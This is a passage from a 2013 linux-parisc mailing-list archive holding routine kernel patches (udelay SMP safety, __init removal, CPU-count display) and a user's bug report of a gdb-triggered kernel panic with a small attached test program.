 #include "sanitise.h"
diff --git a/syscalls/msgsnd.c b/syscalls/msgsnd.c
index 3e3a91d..9eaf3d6 100644
--- a/syscalls/msgsnd.c
+++ b/syscalls/msgsnd.c
@@ -1,6 +1,7 @@
 /*
  * SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg)
  */
+#include <sys/types.h>
 #include <linux/msg.h>
 #include "compat.h"
 #include "sanitise.h"
-- 
1.8.3.2


--nextPart2108050.CCuy2rmY5f--

--nextPart14139079.fXXPNjuzId
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlJmxPcACgkQXKSJPmm5/E5KKwCfX0vO5q0taqhWpauEyP7i4Qjp
r+EAmgNN8vdnl1lCPSOJXHiTKMEXZCJ9
=Q4po
-----END PGP SIGNATURE-----

--nextPart14139079.fXXPNjuzId--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel
Subject: [PATCH] arch: *: remove '__init' for setup_profiling_timer()
Date: Wed, 23 Oct 2013 10:05:01 +0800
Lines: 64
Approved: news@gmane.org
Message-ID: <52672ECD.9010800@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1382493971 28186 80.91.229.3 (23 Oct 2013 02:06:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Oct 2013 02:06:11 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"uclinux-dist-devel@blackfin.uclinux.org" 
	<uclinux-dist-devel@blackfin.uclinux.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: "vgupta@synopsys.com" <vgupta@synopsys.com>,
	Mike Frysinger <vapier@gentoo.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, Arnd Bergmann <arnd@arndb.de>,
	Thomas Gleixner <tglx@linutronix.de>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	"Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	realmz paranoid <realmz6@gmail.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 23 04:06:10 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VYnpn-00022a-W1
	for glpp-linux-parisc@plane.gmane.org; Wed, 23 Oct 2013 04:06:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754659Ab3JWCGH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Oct 2013 22:06:07 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:22905 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753859Ab3JWCGF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Oct 2013 22:06:05 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id B164A1840298; Wed, 23 Oct 2013 10:06:07 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.100.108] (unknown [61.148.203.198])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id 08360184024E;
	Wed, 23 Oct 2013 10:06:06 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5402 gmane.linux.kernel:1583785 gmane.linux.hardware.blackfin.kernel.devel:7402
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5402>

Most of architectures not use '__init' for setup_profiling_timer(), so
need remove it, or can generate warning (e.g. arc with allmodconfig):

    MODPOST vmlinux.o
  WARNING: vmlinux.o(.text+0x3c682): Section mismatch in reference from the function write_profile() to the function .init.text:setup_profiling_timer()
  The function write_profile() references
  the function __init setup_profiling_timer().
  This is often because write_profile lacks a __init
  annotation or the annotation of setup_profiling_timer is wrong.


Signed-off-by: Chen Gang <gang.chen@asianux.com>
---
 arch/arc/kernel/smp.c          |    2 +-
 arch/blackfin/mach-bf561/smp.c |    2 +-
 arch/parisc/kernel/smp.c       |    2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/arch/arc/kernel/smp.c b/arch/arc/kernel/smp.c
index bca3052..3bdac11 100644
--- a/arch/arc/kernel/smp.c
+++ b/arch/arc/kernel/smp.c
@@ -187,7 +187,7 @@ int __cpu_up(unsigned int cpu, struct task_struct *idle)
 /*
  * not supported here
  */
-int __init setup_profiling_timer(unsigned int multiplier)
+int setup_profiling_timer(unsigned int multiplier)
 {
 	return -EINVAL;
 }
diff --git a/arch/blackfin/mach-bf561/smp.c b/arch/blackfin/mach-bf561/smp.c
index 11789be..3bef058 100644
--- a/arch/blackfin/mach-bf561/smp.c
+++ b/arch/blackfin/mach-bf561/smp.c
@@ -43,7 +43,7 @@ void __init platform_prepare_cpus(unsigned int max_cpus)
 	init_cpu_present(&mask);
 }
 
-int __init setup_profiling_timer(unsigned int multiplier) /* not supported */
+int setup_profiling_timer(unsigned int multiplier) /* not supported */
 {
 	return -EINVAL;
 }
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 8a252f2..2e8cd36 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -433,7 +433,7 @@ int __cpu_up(unsigned int cpu, struct task_struct *tidle)
 }
 
 #ifdef CONFIG_PROC_FS
-int __init
+int
 setup_profiling_timer(unsigned int multiplier)
 {
 	return -EINVAL;
-- 
1.7.7.6
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Opdenacker <michael.opdenacker@free-electrons.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: remove duplicate define
Date: Wed, 23 Oct 2013 12:37:08 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <1382524628-3265-1-git-send-email-michael.opdenacker@free-electrons.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1382524645 25697 80.91.229.3 (23 Oct 2013 10:37:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Oct 2013 10:37:25 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Michael Opdenacker <michael.opdenacker@free-electrons.com>
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 23 12:37:29 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VYvod-0003LQ-TK
	for glk-linux-kernel-3@plane.gmane.org; Wed, 23 Oct 2013 12:37:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753363Ab3JWKhS (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 23 Oct 2013 06:37:18 -0400
Original-Received: from top.free-electrons.com ([176.31.233.9]:45340 "EHLO
	mail.free-electrons.com" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752733Ab3JWKhM (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 23 Oct 2013 06:37:12 -0400
Original-Received: by mail.free-electrons.com (Postfix, from userid 106)
	id A7F1D7E9; Wed, 23 Oct 2013 12:37:13 +0200 (CEST)
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on
	mail.free-electrons.com
X-Spam-Level: 
X-Spam-Status: No, score=-1.0 required=5.0 tests=ALL_TRUSTED,SHORTCIRCUIT,
	URIBL_BLOCKED shortcircuit=ham autolearn=disabled version=3.3.2
Original-Received: from localhost (unknown [217.39.7.252])
	by mail.free-electrons.com (Postfix) with ESMTPSA id 636147E6;
	Wed, 23 Oct 2013 12:37:13 +0200 (CEST)
X-Mailer: git-send-email 1.8.1.2
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1584003 gmane.linux.ports.parisc:5403
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1584003>

This patch removes a duplicate define from
arch/parisc/math-emu/float.h

Signed-off-by: Michael Opdenacker <michael.opdenacker@free-electrons.com>
---
 arch/parisc/math-emu/float.h | 1 -
 1 file changed, 1 deletion(-)

diff --git a/arch/parisc/math-emu/float.h b/arch/parisc/math-emu/float.h
index ce76f6d..7a51f97 100644
--- a/arch/parisc/math-emu/float.h
+++ b/arch/parisc/math-emu/float.h
@@ -484,7 +484,6 @@ typedef int VOID;
  * |                                                     |G|L|E|U|X|
  * +-------+-------+-------+-------+-------+-------+-------+-------+
  */
-#define Allexception(object) (object)
 #define Greaterthanbit(object) Bitfield_extract( 27, 1,object)
 #define Lessthanbit(object) Bitfield_extract( 28, 1,object)
 #define Equalbit(object) Bitfield_extract( 29, 1,object)
-- 
1.8.1.2


From - Thu Nov 08 21:09:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: make udelay() SMP-safe
Date: Wed, 23 Oct 2013 23:29:16 +0200
Lines: 159
Approved: news@gmane.org
Message-ID: <20131023212916.GA1529@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1382563760 17161 80.91.229.3 (23 Oct 2013 21:29:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Oct 2013 21:29:20 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 23 23:29:23 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VZ5zW-0002lX-N7
	for glpp-linux-parisc@plane.gmane.org; Wed, 23 Oct 2013 23:29:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751830Ab3JWV3V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Oct 2013 17:29:21 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:63188 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751504Ab3JWV3V (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Oct 2013 17:29:21 -0400
Original-Received: from p100.box ([84.173.50.36]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0Lhf3N-1W4Fjz1xFh-00mpRz for
 <linux-parisc@vger.kernel.org>; Wed, 23 Oct 2013 23:29:19 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:DGBvpGMnmdJ7Tbf2PROXzNLkekOUBGYgIrFPgJHIhLgi5Lc8yPp
 SuAYGkCjjHGIyWqGgMte2QOZtCub5GOYxbrIL/fXCeogvtgDV0G1lBoCzzMtwFju0rp0QFU
 s4f9UolMGSHfCihAz9rWox/hAKKIAamBQ9aenH7mW9twA3B52SiJOydtUw6t8gWj1jQX66z
 v3I/wb9/K+PIxqruD18zQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5404
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5404>

Each CPU has it's own Control Register 16 (CR16) which is used as time source
for the udelay() function. But since the CR16 registers across different CPUs
are not synced, we need to recalculate the loop count if we get switched away
to ensure that we really delay as much time as requested.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/delay.h b/arch/parisc/include/asm/delay.h
index 912ee7e..08e58e6 100644
--- a/arch/parisc/include/asm/delay.h
+++ b/arch/parisc/include/asm/delay.h
@@ -1,15 +1,5 @@
-#ifndef _PARISC_DELAY_H
-#define _PARISC_DELAY_H
-
-#include <asm/special_insns.h>    /* for mfctl() */
-#include <asm/processor.h> /* for boot_cpu_data */
-
-
-/*
- * Copyright (C) 1993 Linus Torvalds
- *
- * Delay routines
- */
+#ifndef _ASM_PARISC_DELAY_H
+#define _ASM_PARISC_DELAY_H
 
 static __inline__ void __delay(unsigned long loops) {
 	asm volatile(
@@ -19,25 +9,14 @@ static __inline__ void __delay(unsigned long loops) {
 		: "=r" (loops) : "0" (loops));
 }
 
-static __inline__ void __cr16_delay(unsigned long clocks) {
-	unsigned long start;
-
-	/*
-	 * Note: Due to unsigned math, cr16 rollovers shouldn't be
-	 * a problem here. However, on 32 bit, we need to make sure
-	 * we don't pass in too big a value. The current default
-	 * value of MAX_UDELAY_MS should help prevent this.
-	 */
+extern void __udelay(unsigned long usecs);
+extern void __udelay_bad(unsigned long usecs);
 
-	start = mfctl(16);
-	while ((mfctl(16) - start) < clocks)
-	    ;
+static inline void udelay(unsigned long usecs)
+{
+	if (__builtin_constant_p(usecs) && (usecs) > 20000)
+		__udelay_bad(usecs);
+	__udelay(usecs);
 }
 
-static __inline__ void __udelay(unsigned long usecs) {
-	__cr16_delay(usecs * ((unsigned long)boot_cpu_data.cpu_hz / 1000000UL));
-}
-
-#define udelay(n) __udelay(n)
-
-#endif /* defined(_PARISC_DELAY_H) */
+#endif /* _ASM_PARISC_DELAY_H */
diff --git a/arch/parisc/lib/Makefile b/arch/parisc/lib/Makefile
index 5651536..8fa92b8 100644
--- a/arch/parisc/lib/Makefile
+++ b/arch/parisc/lib/Makefile
@@ -3,6 +3,6 @@
 #
 
 lib-y	:= lusercopy.o bitops.o checksum.o io.o memset.o fixup.o memcpy.o \
-	   ucmpdi2.o
+	   ucmpdi2.o delay.o
 
 obj-y	:= iomap.o
diff --git a/arch/parisc/lib/delay.c b/arch/parisc/lib/delay.c
new file mode 100644
index 0000000..b1fb528
--- /dev/null
+++ b/arch/parisc/lib/delay.c
@@ -0,0 +1,73 @@
+/*
+ *	Precise Delay Loops for parisc
+ *
+ *	based on code by:
+ *	Copyright (C) 1993 Linus Torvalds
+ *	Copyright (C) 1997 Martin Mares <mj@atrey.karlin.mff.cuni.cz>
+ *	Copyright (C) 2008 Jiri Hladky <hladky _dot_ jiri _at_ gmail _dot_ com>
+ *
+ *	parisc implementation:
+ *	Copyright (C) 2013 Helge Deller <deller@gmx.de>
+ */
+
+
+#include <linux/module.h>
+#include <linux/preempt.h>
+#include <linux/init.h>
+
+#include <asm/processor.h>
+#include <asm/delay.h>
+
+#include <asm/special_insns.h>    /* for mfctl() */
+#include <asm/processor.h> /* for boot_cpu_data */
+
+/* CR16 based delay: */
+static void __cr16_delay(unsigned long __loops)
+{
+	/*
+	 * Note: Due to unsigned math, cr16 rollovers shouldn't be
+	 * a problem here. However, on 32 bit, we need to make sure
+	 * we don't pass in too big a value. The current default
+	 * value of MAX_UDELAY_MS should help prevent this.
+	 */
+	u32 bclock, now, loops = __loops;
+	int cpu;
+
+	preempt_disable();
+	cpu = smp_processor_id();
+	bclock = mfctl(16);
+	for (;;) {
+		now = mfctl(16);
+		if ((now - bclock) >= loops)
+			break;
+
+		/* Allow RT tasks to run */
+		preempt_enable();
+		asm volatile("	nop\n");
+		barrier();
+		preempt_disable();
+
+		/*
+		 * It is possible that we moved to another CPU, and
+		 * since CR16's are per-cpu we need to calculate
+		 * that. The delay must guarantee that we wait "at
+		 * least" the amount of time. Being moved to another
+		 * CPU could make the wait longer but we just need to
+		 * make sure we waited long enough. Rebalance the
+		 * counter for this CPU.
+		 */
+		if (unlikely(cpu != smp_processor_id())) {
+			loops -= (now - bclock);
+			cpu = smp_processor_id();
+			bclock = mfctl(16);
+		}
+	}
+	preempt_enable();
+}
+
+
+void __udelay(unsigned long usecs)
+{
+	__cr16_delay(usecs * ((unsigned long)boot_cpu_data.cpu_hz / 1000000UL));
+}
+EXPORT_SYMBOL(__udelay);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: correctly display number of active CPUs
Date: Thu, 24 Oct 2013 21:45:42 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20131024194542.GA3530@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1382643947 15311 80.91.229.3 (24 Oct 2013 19:45:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Oct 2013 19:45:47 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 24 21:45:50 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VZQqo-0002gs-6s
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Oct 2013 21:45:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755351Ab3JXTpp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Oct 2013 15:45:45 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:63301 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754939Ab3JXTpp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Oct 2013 15:45:45 -0400
Original-Received: from p100.box ([84.173.49.32]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0MDyFr-1VU9ea2qAJ-00HLf9 for
 <linux-parisc@vger.kernel.org>; Thu, 24 Oct 2013 21:45:44 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:ASFI5x2DtkTGD96PPlX1E+9goRL/OMmByT6J0uG3i1QQ+Pa/3hV
 pqnF2Llnl86586JzH4/uDnEb1VkXoFscR+TO5B1OVT1X0rg2DuaM/Q8X1GnrnWpn35PcPDo
 Vims+lVvU6FRIquEmDZjUVS8e55AkCU9f0uYZwMrckQ7E1E1DMO6DOyATNKMtNi0n9qHNiy
 GKP4eilFF/vss2jDz2XWQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5405
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5405>

In case we fail to power up other CPUs in a SMP system, the kernel
currently shows a wrong number of online CPUs. This change makes the
output more verbose on how many of the CPUs are online. Example:

CPU(s): 1 out of 2 PA8800 (Mako) at 900.000000 MHz online.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 7349a3f..16a1fb9 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -318,8 +318,8 @@ static int __init parisc_init(void)
 	pdc_stable_write(0x40, &osid, sizeof(osid));
 	
 	processor_init();
-	printk(KERN_INFO "CPU(s): %d x %s at %d.%06d MHz\n",
-			num_present_cpus(),
+	pr_info("CPU(s): %d out of %d %s at %d.%06d MHz online.\n",
+			num_online_cpus(), num_present_cpus(),
 			boot_cpu_data.cpu_name,
 			boot_cpu_data.cpu_hz / 1000000,
 			boot_cpu_data.cpu_hz % 1000000	);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Reproducible kernel panic using gcc
Date: Fri, 25 Oct 2013 10:16:13 +0200
Lines: 78
Approved: news@gmane.org
Message-ID: <b6f8076c32d0859e4ddb328bb7aca076@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="=_541aefaa37623873eb33251d646069ea"
X-Trace: ger.gmane.org 1382689886 26110 80.91.229.3 (25 Oct 2013 08:31:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Oct 2013 08:31:26 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 25 10:31:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VZcnp-00031r-9z
	for glpp-linux-parisc@plane.gmane.org; Fri, 25 Oct 2013 10:31:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752389Ab3JYIb2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Oct 2013 04:31:28 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:63968 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752372Ab3JYIb1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Oct 2013 04:31:27 -0400
X-Greylist: delayed 902 seconds by postgrey-1.27 at vger.kernel.org; Fri, 25 Oct 2013 04:31:26 EDT
Original-Received: from ibiza.lux.tuxicoman.be (vodsl-8446.vo.lu [85.93.199.254]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Fri, 25 Oct 2013 10:15:43 +0200
Original-Received: from cartman.lux.tuxicoman.be ([172.18.0.2] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1VZcZ3-0001YC-Q4
	for linux-parisc@vger.kernel.org; Fri, 25 Oct 2013 10:16:13 +0200
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5406
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5406>

--=_541aefaa37623873eb33251d646069ea
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=UTF-8;
 format=flowed

Hi PA hackers,


Using a simple test program, I'm able to panic the kernel using gdb.

I've attached the test program. The output from the console is the 
following :

Bad Address (null pointer deref?): Code=6 regs=000000007e354370 
(Addr=0000000000000000)
CPU: 0 PID: 1605 Comm: gdb-crash Not tainted 3.10.6 #1
task: 000000007e354038 ti: 000000007e33c000 task.ti: 000000007e33c000

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111000001111 Not tainted
r00-03  000000ff0006fe0f 0000000000000000 0000000000000000 
00000000faf02300
r04-07  00000000406d3b30 0000000000000000 00000000000c8e98 
00000000000c7a80
r08-11  00000000000c8e70 00000000000c8e70 000000000000006c 
0000000000000061
r12-15  00000000000c3100 0000000000000000 00000000000bf100 
00000000000c0900
r16-19  0000000000000000 00000000000c0900 000000000009f000 
0000000000000000
r20-23  0000000000010638 0000000000000000 0000000000010638 
00000000406d11b8
r24-27  00000000faf02034 00000000faf0202c 0000000000000000 
00000000000110e4
r28-31  00000000faf0230c 0000000000000001 0000000000000000 
0000000040143327
sr00-03  0000000000334000 0000000000334000 0000000000000000 
0000000000334000
sr04-07  0000000000334000 0000000000334000 0000000000334000 
0000000000334000

IASQ: 0000000000334000 0000000000334000 IAOQ: 0000000000000000 
0000000000000004
  IIR: 43ffff80    ISR: 0000000010240000  IOR: 000000f400b02308
  CPU:        0   CR30: 000000007e33c000 CR31: fe1eec3fc1ecdbed
  ORIG_R28: 0000000000000000
  IAOQ[0]:           (null)
  IAOQ[1]: 0x4
  RP(r2):           (null)
Backtrace:


There is no info from PIM.


Thanks,
   Guy
--=_541aefaa37623873eb33251d646069ea
Content-Transfer-Encoding: base64
Content-Type: text/x-csrc;
 name=gdb-crash.c
Content-Disposition: attachment;
 filename=gdb-crash.c

LyoKVG8gcmVwcm9kdWNlIDoKIyBnY2MgLU8wIC1waXBlIC1nZ2RiMyBnZGItY3Jhc2guYyAtbyBn
ZGItY3Jhc2gKIyBnZGIgZ2RiLWNyYXNoCihnZGIpIGJyZWFrIGdkYi1jcmFzaC5jOjI0CihnZGIp
IHJ1bgooZ2RiKSBzZXQgdHAgPSB7MCwwfQoqY3Jhc2gqCiovCgojaW5jbHVkZSA8c3RkaW8uaD4K
CnN0cnVjdCB0ZXN0IHsKCWludCBhOwoJaW50IGI7Cn07CgppbnQgbWFpbigpIHsKCglzdHJ1Y3Qg
dGVzdCB0diA9IHsgMSwgMSB9OwoKCXN0cnVjdCB0ZXN0ICp0cCA9ICZ0djsKCglwcmludGYoIlRl
c3QgaXMgJXUsICV1XG4iLCB0di5hLCB0di5iKTsKCglyZXR1cm4gMDsKfQo=
--=_541aefaa37623873eb33251d646069ea--


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Reproducible kernel panic using gcc
Date: Fri, 25 Oct 2013 16:31:39 +0200 (CEST)
Lines: 21
Approved: news@gmane.org
Message-ID: <trinity-f177b623-5ca9-4417-a689-b0f8676e3fb5-1382711499524@3capp-gmx-bs08>
References: <b6f8076c32d0859e4ddb328bb7aca076@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1382711499 10244 80.91.229.3 (25 Oct 2013 14:31:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Oct 2013 14:31:39 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Guy Martin" <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 25 16:31:42 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
